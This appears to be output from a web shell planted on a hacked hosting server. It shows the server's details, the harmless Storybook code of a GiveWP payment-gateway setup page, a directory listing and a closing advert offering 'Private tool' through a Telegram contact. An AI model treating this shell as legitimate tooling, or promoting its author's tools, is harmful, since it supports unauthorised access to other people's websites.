aDriv4 website!

Linux server192.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
LiteSpeed
198.54.114.198

File Name : components.stories.js

import styles from './src/styles';
import paypal from './src/paypal.js';
import stripe from './src/stripe.js';
import section from '../section.html';
import footer from '../footer.html';
import dismiss from '../dismiss.html';

import {withA11y} from '@storybook/addon-a11y';

export default {
    title: 'Setup Page/Components',
    decorators: [withA11y],
};

const Styles = '<style>' + styles + '</style>';

export const header = () =>
    Styles +
    section
        .replace(/{{\s*title\s*}}/gi, 'Connect a payment gateway to begin accepting donations')
        .replace(/{{\s*badge\s*}}/gi, '<span class="badge badge-complete">Complete</span>')
        .replace(/{{\s*contents\s*}}/gi, '')
        .replace(/{{\s*footer\s*}}/gi, '');

export const Footer = () =>
    Styles +
    '<section>' +
    footer.replace(
        /{{\s*contents\s*}}/gi,
        'Want to use a different gateway? GiveWP has support for many others including Authorize.net, Square, Razorpay and more!<a href="#">View all gateways</a>'
    ) +
    '</section>';

export const Dismiss = () =>
    Styles +
    dismiss
        .replace(/{{\s*action\s*}}/gi, '')
        .replace(/{{\s*nonce\s*}}/gi, '')
        .replace(/{{\s*label\s*}}/gi, 'Dismiss Setup Screen');

export const SectionBasic = () =>
    Styles +
    `
	<section>
		<header>
			<h2>Connect a payment gateway to begin accepting donations</h2>
		</header>
		<main>
			` +
    paypal() +
    `
		</main>
	</section>
`;

export const SectionMultiple = () =>
    Styles +
    `
	<section>
		<main>
			` +
    paypal() +
    stripe() +
    `
		</main>
	</section>
`;

export const SectionWithHeader = () =>
    Styles +
    `
	<section>
		<header>
			<h2>Connect a payment gateway to begin accepting donations</h2>
		</header>
		<main>
			` +
    paypal() +
    `
		</main>
	</section>
`;

export const SectionWithFooter = () =>
    Styles +
    `
	<section>
		<main>
			` +
    paypal() +
    `
		</main>
			` +
    footer.replace(
        /{{\s*contents\s*}}/gi,
        'Want to use a different gateway? GiveWP has support for many others including Authorize.net, Square, Razorpay and more!<a href="#">View all gateways</a>'
    ) +
    `
	</section>
`;

export const SectionMarkedComplete = () =>
    Styles +
    `
	<section>
		<header>
			<h2>Connect a payment gateway to begin accepting donations</h2>
			<span class="badge badge-complete">Complete</span>
		</header>
			<main>
			` +
    paypal() +
    `
		</main>
	</section>
`;

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	htllcxvj/htllcxvj	0755	2025-01-18 03:35:07
..	dir	-	htllcxvj/htllcxvj	0755	2025-01-18 03:35:07
src	dir	-	htllcxvj/htllcxvj	0755	2025-01-18 03:35:07
.htaccess	text/plain	127 B	htllcxvj/htllcxvj	0444	2025-01-18 03:35:07
badges.stories.js	text/html	578 B	htllcxvj/htllcxvj	0644	2024-12-03 09:32:31
components.stories.js	text/html	2.42 KB	htllcxvj/htllcxvj	0644	2024-12-03 09:32:31
examples.stories.js	text/html	1.32 KB	htllcxvj/htllcxvj	0644	2024-12-03 09:32:31
icons.stories.js	text/x-java	1.13 KB	htllcxvj/htllcxvj	0644	2024-12-03 09:32:31
items.stories.js	text/html	960 B	htllcxvj/htllcxvj	0644	2024-12-03 09:32:31

For more Private tool come to me!

https://t.me/aDriv4vz